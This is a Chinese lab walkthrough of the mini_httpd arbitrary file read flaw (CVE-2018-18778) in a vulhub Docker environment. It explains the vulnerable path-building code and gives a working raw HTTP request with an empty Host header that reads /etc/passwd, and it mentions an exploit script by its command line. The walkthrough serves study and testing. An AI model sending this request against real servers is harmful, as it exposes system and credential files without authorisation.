.exp文件_mini_httpd 任意文件读取漏洞(附EXP脚本)

一、环境搭建:

进入镜像目录:

cd vulhub/mini_httpd/CVE-2018-18778

启动环境:

docker-compose up -d

访问8088端口

c645f6974367da764eb6a72e72ae939f.png

二、漏洞描述:

Mini_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的性能(约为Apache的90%),因此广泛被各类IOT(路由器,交换器,摄像头等)作为嵌入式服务器。而包括华为,zyxel,海康威视,树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。

在mini_httpd开启虚拟主机模式的情况下,用户请求http://HOST/FILE将会访问到当前目录下的HOST/FILE文件。

(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );

当HOST=example.com、FILE=index.html的时候,上述语句结果为example.com/index.html,文件正常读取。

当HOST为空、FILE=etc/passwd的时候,上述语句结果为/etc/passwd。

后者被作为绝对路径,于是读取到了/etc/passwd,造成任意文件读取漏洞。

三、漏洞复现:

清空HOST头,路径为读取的文件:

GET /etc/passwd HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: close

成功读取到/etc/passwd:

8ce874097183147c5aa47bf5db6a7c53.png

四、自动化利用EXP:

python3 mini_httpd_exp.py http://192.168.136.131:8080

7d1bb800e0f0224e65c9c7689ec11277.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值